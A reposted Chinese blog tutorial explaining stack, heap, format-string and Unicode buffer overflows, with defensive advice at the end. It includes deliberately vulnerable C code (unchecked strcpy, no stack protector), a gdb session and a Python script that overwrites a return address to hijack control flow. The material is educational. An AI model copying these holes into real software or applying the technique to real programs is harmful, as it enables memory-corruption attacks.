(原创)攻击方式学习之(3) - 缓冲区溢出(Buffer Overflow)

简介:

堆栈溢出

堆栈溢出通常是所有的缓冲区溢出中最容易进行利用的。了解堆栈溢出之前,先了解以下几个概念:

  1. 缓冲区
    • 简单说来是一块连续的计算机内存区域,可以保存相同数据类型的多个实例。
  2. 堆栈
    • 堆 栈是一个在计算机科学中经常使用的抽象数据类型。堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来,这个特性通常称为后进先出 (LIFO)队列。堆栈中定义了一些操作。两个最重要的是PUSH和POP。PUSH操作在堆栈的顶部加入一个元素。POP操作相反,在堆栈顶部移去一个 元素,并将堆栈的大小减一。
  3. 寄存器ESP、EBP、EIP
    1. CPU的ESP寄存器存放当前线程的栈顶指针,
    2. EBP寄存器中保存当前线程的栈底指针。
    3. CPU的EIP寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行。

现 代计算机被设计成能够理解人们头脑中的高级语言。在使用高级语言构造程序时最重要的技术是过程(procedure)和函数(function)。从这一 点来看,一个过程调用可以象跳转(jump)命令那样改变程序的控制流程,但是与跳转不同的是,当工作完成时,函数把控制权返回给调用之后的语句或指令。 这种高级抽象实现起来要靠堆栈的帮助。堆栈也用于给函数中使用的局部变量动态分配空间,同样给函数传递参数和函数返回值也要用到堆栈。

堆栈由逻辑堆栈帧组成。当调用函数时逻辑堆栈帧被压入栈中,当函数返回时逻辑堆栈帧被从栈中弹出。堆栈帧包括函数的参数,函数地局部变量,以及恢复前一个堆栈帧所需要的数据,其中包括在函数调用时指令指针(IP)的值。

当一个例程被调用时所必须做的第一件事是保存前一个 FP(这样当例程退出时就可以恢复)。然后它把SP复制到FP,创建新的FP,把SP向前移动为局部变量保留空间。这称为例程的序幕(prolog)工 作。当例程退出时,堆栈必须被清除干净,这称为例程的收尾(epilog)工作。Intel的ENTER和LEAVE指令,Motorola的LINK和 UNLINK指令,都可以用于有效地序幕和收尾工作。

下面我们用一个简单的例子来展示堆栈的模样: example1.c:

void  function ( int  a ,  int  b ,  int  c )  {
    char  buffer1 [ 5 ];
    char  buffer2 [ 10 ];
}
void  main ()  {
  function ( 1 , 2 , 3 );
}

为了理解程序在调用function()时都做了哪些事情, 我们使用gcc的-S选项编译, 以产生汇编代码输出:

$ gcc -S -o example1.s example1.c

通过查看汇编语言输出, 我们看到对function()的调用被翻译成:

pushl  $ 3
pushl  $ 2
pushl  $ 1
call  function

 

以从后往前的顺序将function的三个参数压入栈中, 然后调用function(). 指令call会把指令指针(IP)也压入栈中. 我们把这被保存的IP称为返回地址(RET). 在函数中所做的第一件事情是例程的序幕工作:

pushl  % ebp
movl  % esp , % ebp
subl  $ 20 , % esp

 

将帧指针EBP压入栈中. 然后把当前的SP复制到EBP, 使其成为新的帧指针. 我们把这个被保存的FP叫做SFP. 接下来将SP的值减小, 为局部变量保留空间. 我 们必须牢记:内存只能以字为单位寻址. 在这里一个字是4个字节, 32位. 因此5字节的缓冲区会占用8个字节(2个字)的内存空间, 而10个字节的缓冲区会占用12个字节(3个字)的内存空间. 这就是为什么SP要减掉20的原因. 这样我们就可以想象function()被调用时堆栈的模样:

 

所以,从上图来看,假如我们输入的buffer1超长了,直接覆盖掉后面的sfp和ret,就可以修改该函数的返回地址了。下面来看一个示例吧。

示例

关于如何编写Shell Code,如何在内存中预先准备好一段危险的执行代码以及如何精确计算通过缓冲区溢出执行那段危险代码同时又让返回地址调回原来返回地址……这中间涉及太 多的底层汇编知识,小弟不才也只是走马观花,成不了真正的黑客高手。但从黑客朋友的水平之高看来,提高我们的代码安全性是非常必要的!

因此,在这个例子中,我们假设所谓的危险代码已经在 源代码中,即函数bar。函数foo是正常的函数,在main函数中被调用,执行了一段非常不安全的strcpy工作。利用不安全的strcpy,我们可 以传入一个超过缓冲区buf长度的字符串,执行拷贝后,缓冲区溢出,把ret返回地址修改成函数bar的地址,达到调用函数bar的目的。

#include <stdio.h>
#include <string.h>
void  foo ( const  char *  input )
{
         char  buf [ 10 ];
         printf ( "My stack looks like: \n %p \n %p \n %p \n %p \n %p \n %p \n %p \n\n " );
         strcpy ( buf ,  input );
         printf ( "buf = %s \n " ,  buf );
         printf ( "Now the stack looks like: \n %p \n %p \n %p \n %p \n %p \n %p \n %p \n\n " );
}
void  bar ( void )
{
         printf ( "Augh! I've been hacked! \n " );
}
int  main ( int  argc ,  char *  argv [])
{
         printf ( "Address of foo = %p \n " ,  foo );
         printf ( "Address of bar = %p \n " ,  bar );
         if  ( argc  !=  2 )
         {
                 printf ( "Please supply a string as an argument! \n " );
                 return  - 1 ;
         }
         foo ( argv [ 1 ]);
         printf ( "Exit! \n " );
         return  0 ;
}

 

用GCC编译上面的程序,同时注意关闭Buffer Overflow Protect开关:

gcc -g -fno-stack-protector test.c -o test

 

为了找出返回地址,我用gdb调试上面编译出来的程序。

//(前面启动gdb,设置参数和断点的步骤省略……)
( gdb )  r
Starting  program :  / media / Personal / MyProject / C / StackOver / test  abc
Address  of  foo  =  0 x80483d4             //函数foo的地址
Address  of  bar  =  0 x8048419             //函数bar的地址

Breakpoint  1 ,  main  ( argc = 2 ,  argv = 0 xbfe5ab24 )  at  test . c : 24
24                foo ( argv [ 1 ]);
//在调用foo函数前,我们查看ebp值
( gdb )  info  registers  ebp
ebp              0 xbfe5aa88         0 xbfe5aa88               //ebp值为0xbfe5aa88
( gdb )  n

Breakpoint  2 ,  foo  ( input = 0 xbfe5c652  "abc" )  at  test . c : 4
4         {
( gdb )  n
6                 printf ( "My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n%p\n\n" );
//执行到foo后,我们再查看ebp值
( gdb )  info  registers  ebp
ebp              0 xbfe5aa68         0 xbfe5aa68               //ebp值变成了0xbfe5aa68
//我们来查看一下地址0xbfe5aa68究竟是啥东东:
( gdb )  x /  0 xbfe5aa68
0 xbfe5aa68 :       0 xbfe5aa88                      //原来地址0xbfe5aa68存放的居然是我们之前的ebp值,其实豁然开朗了,因为这是执行了push %ebp后将之前的ebp保存起来了,和前面说的居然是一样的!
( gdb )  n
My  stack  looks  like :
0 xb7ee04e0
0 x8048616
0 xbfe5aa74
0 xbfe5aa74
0 xb7edfff4
0 xbfe5aa88                //看,在代码中输入堆栈信息中也出现了熟悉的0xbfe5aa88,因此可以断定该处为保存的上一级的ebp值。对应上上面那个图中的sfp。
0 x8048499                 //假如0xbfe5aa88就是sfp的话,那0x8048499应该就是ret(返回地址)了,下面来验证一下

7                 strcpy ( buf ,  input );
//查看0x8048499里面是什么东东
( gdb )  x / i  0 x8048499
0 x8048499  < main + 108 >:     movl     $ 0 x8048653 ,(% esp )                        //这句代码是main函数中的代码,正是我们执行完foo函数后的下一个地址。不信,看看main的assemble:
( gdb )  disassemble  main
Dump  of  assembler  code  for  function  main :
0 x0804842d  < main + 0 >:      lea      0 x4 (% esp ),% ecx
0 x08048431  < main + 4 >:      and      $ 0 xfffffff0 ,% esp
0 x08048434  < main + 7 >:      pushl  - 0 x4 (% ecx )
0 x08048437  < main + 10 >:     push     % ebp
//(中间省略……)
0 x08048494  < main + 103 >:  call     0 x80483d4  < foo >
0 x08048499  < main + 108 >:  movl     $ 0 x8048653 ,(% esp )                  //就是这里了!哈
0 x080484a0  < main + 115 >:  call     0 x8048340  < puts@plt >

 

因此,我们只要输入一个超长的字符串,覆盖掉0x08048499,变成bar的函数地址0x8048419,就达到了调用bar函数的目的。为了将0x8048419这样的东西输入到应用程序,我们需要借助于Perl或Python脚本,如下面的Python脚本:

import  os
arg  =  'ABCDEFGHIJKLMN'  +  ' "x19"x84"x04"x08 '
cmd  =  './test '  + arg
os .system(cmd)

 

注意上面的08 04 84 19要两个两个反着写。执行一下:

$ python  hack . py 
Address  of  foo  =  0x80483d4
Address  of  bar  =  0x8048419         //bar的函数地址
My  stack  looks  like:
0xb7fc24e0
0x8048616
0xbf832484
0xbf832484
0xb7fc1ff4
0xbf832498
0x8048499              //strcpy前函数返回地址0x8048499

buf  =  ABCDEFGHIJKLMN
Now  the  stack  looks  like:
0xbf83246e
0x8048616
0x42412484
0x46454443
0x4a494847
0x4e4d4c4b
0x8048419             //瞧,返回地址被修改为了我们想要的bar的函数地址0x8048419 

Augh !  I ' ve  been  hacked !          //哈哈!bar函数果然被执行了!

堆溢出及其他溢出

堆溢出

堆是内存的一个区域,它 被应用程序利用并在运行时被动态分配。堆内存与堆栈内存的不同在于它在函数之间更持久稳固。这意味着分配给一个函数的内存会持续保持分配直到完全被释放为 止。这说明一个堆溢出可能发生了但却没被注意到,直到该内存段在后面被使用。这里只是简单了解一下,下面看一个最简单的堆溢出例子:

/*heap1.c – 最简单的堆溢出*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int  main ( int  argc ,  char  * argv [])
{
         char  * input  =  malloc ( 20 );
         char  * output  =  malloc ( 20 );
         strcpy ( output ,  "normal output" );
         strcpy ( input ,  argv [ 1 ]);
         printf ( "input at %p: %s \n " ,  input ,  input );
         printf ( "output at %p: %s \n " ,  output ,  output );
         printf ( " \n\n %s \n " ,  output );
}

 

我们来看执行结果:

[ root @localhost ] # ./heap1 hackshacksuselessdata
input  at  0 x8049728 :  hackshacksuselessdata
output  at  0 x8049740 :  normal  output

normal  output
[ root @localhost ] # ./heap1 hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks
input       at  0 x8049728 :  hacks1hacks2hacks3hacks4hacks5hacks6hacks7hackshackshackshackshackshackshacks
output      at  0 x8049740 :  hackshackshackshacks5hacks6hacks7

hackshacks5hackshacks6hackshacks7
[ root @localhost ] # ./heap1 "hackshacks1hackshacks2hackshacks3hackshacks4what have I done?"
input  at  0 x8049728 :  hackshacks1hackshacks2hackshacks3hackshacks4what  have  I  done ?
output  at  0 x8049740 :  what  have  I  done ?         // 我们看到, output 变成了 what  have  I  done ?

what  have  I  done ?
[ root @localhost ] #

 

我们来看看是如何溢出的:


格式化字符串错误

这类错误是指使用printf,sprintf,fprint等函数时,没有使用格式化字符串,比如:正确用法是:

printf ( "%s" ,  input )

 

如果直接写成:

printf ( input )

 

将会出现漏洞,当input输入一些非法制造的字符时,内存将有可能被改写,执行一些非法指令。

Unicode和ANSI缓冲区大小不匹配

我们经常碰到需要在Unicode和ANSI之间互相转换,绝大多数Unicode函数按照宽字符格式(双字节)大小,而不是按照字节大小来计算缓冲区大小,因此,转换的时候不注意的话就可能会造成溢出。比如最常受到攻击的函数是MultiByteToWideChar,看下面的代码:

BOOL  GetName ( char  * szName )
{
     WCHAR  wszUserName [ 256 ];
     // Convert ANSI name to Unicode.
     MultiByteToWideChar ( CP_ACP ,  0 ,
                                        szName ,
                                        - 1 ,
                                        wszUserName ,
                                        sizeof ( wszUserName ));       //问题出在这个参数上,sizeof(wszUserName)将会等于2*256=512个字节
}

 

wszUserName是宽字符的,因此,sizeof(wszUserName)将会是256*2个字节,因此存在潜在的缓冲区溢出问题。正确的写法应该是这样的:

MultiByteToWideChar ( CP_ACP ,  0 ,
                                    szName ,
                                    - 1 ,
                                    wszUserName ,
                                    sizeof ( wszUserName )  /  sizeof ( wszUserName [ 0 ]));

 

曾真实出现的Internet打印协议缓冲区溢出就是由于此类问题导致的。

预防和发现问题

不安全的函数

避免使用不安全的字符串处理函数,比如使用安全的函数代替:

不安全的函数

安全函数

strcpy

strncpy

strcat

strncat

sprintf

_snprintf

gets

fgets

Visual C++ NET的/GS选项

/GS选项能够阻止堆栈的破坏,保证堆栈的完整性,但是不能完全防止缓冲区溢出问题,比如,对于堆溢出,/GS是无能为力的。

源代码扫描

最简单的源代码扫描:

grep strcpy *.c

然后就是一些开源的或是商业的源代码扫描工具了。

工具

  • 源代码工具包含ApplicationDefense、SPLINT、ITS4和Flawfinder。

  • 二进制工具包含各种fuzzing工具包和静态分析程序,例如Bugscan。

参考资料

  1. Michael Howard, David LeBlanc. "Writing Secure Code"

  2. Mike Andrews, James A. Whittaker "How to Break Web Software" 

  3. http://book.csdn.net/bookfiles/228/index.html

  4. 缓冲区溢出的原理和实践(Phrack)

下一篇: (原创)攻击方式学习之(4) - 拒绝服务(DOS/DDOS/DRDOS)



本文转自CoderZh博客园博客,原文链接:http://www.cnblogs.com/coderzh/archive/2008/09/06/1285693.html,如需转载请自行联系原作者

相关实践学习
阿里云图数据库GDB入门与应用
图数据库(Graph Database,简称GDB)是一种支持Property Graph图模型、用于处理高度连接数据查询与存储的实时、可靠的在线数据库服务。它支持Apache TinkerPop Gremlin查询语言,可以帮您快速构建基于高度连接的数据集的应用程序。GDB非常适合社交网络、欺诈检测、推荐引擎、实时图谱、网络/IT运营这类高度互连数据集的场景。 GDB由阿里云自主研发,具备如下优势: 标准图查询语言:支持属性图,高度兼容Gremlin图查询语言。 高度优化的自研引擎:高度优化的自研图计算层和存储层,云盘多副本保障数据超高可靠,支持ACID事务。 服务高可用:支持高可用实例,节点故障迅速转移,保障业务连续性。 易运维:提供备份恢复、自动升级、监控告警、故障切换等丰富的运维功能,大幅降低运维成本。 产品主页:https://www.aliyun.com/product/gdb
目录
相关文章
|
13天前
|
存储 安全 JavaScript
探秘X-XSS-Protection头对抗跨站脚本攻击
探秘X-XSS-Protection头对抗跨站脚本攻击
25 0
|
4月前
|
存储 安全 程序员
小议缓冲区溢出
小议缓冲区溢出
29 0
|
5月前
|
存储 安全 JavaScript
内存安全问题之 use-after-free 漏洞的介绍
内存安全问题之 use-after-free 漏洞的介绍
67 0
|
5月前
|
存储 安全 程序员
什么是计算机安全领域的 use-after-free 漏洞
什么是计算机安全领域的 use-after-free 漏洞
28 0
|
11月前
|
安全 算法 Linux
Cobalt Strike <=4.7 xss复现和NTLM V2窃取(不会RCE)
Cobalt Strike <=4.7 xss复现和NTLM V2窃取(不会RCE)
117 0
|
11月前
|
移动开发 安全 JavaScript
XSS绕过安全狗方法【持续更新】
XSS绕过安全狗方法【持续更新】
328 0
|
安全 Shell
【CSAPP实验缓冲区溢出】一文彻底理解缓冲区溢出问题
【CSAPP实验缓冲区溢出】一文彻底理解缓冲区溢出问题
159 0
【CSAPP实验缓冲区溢出】一文彻底理解缓冲区溢出问题
|
网络协议 Windows
什么是缓冲区溢出
什么是缓冲区溢出
399 0
|
存储 安全 程序员
缓冲区溢出
缓冲区溢出
169 0
缓冲区溢出
|
移动开发 缓存 监控
理解缓冲区溢出漏洞的利用
在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。
330 0

热门文章

最新文章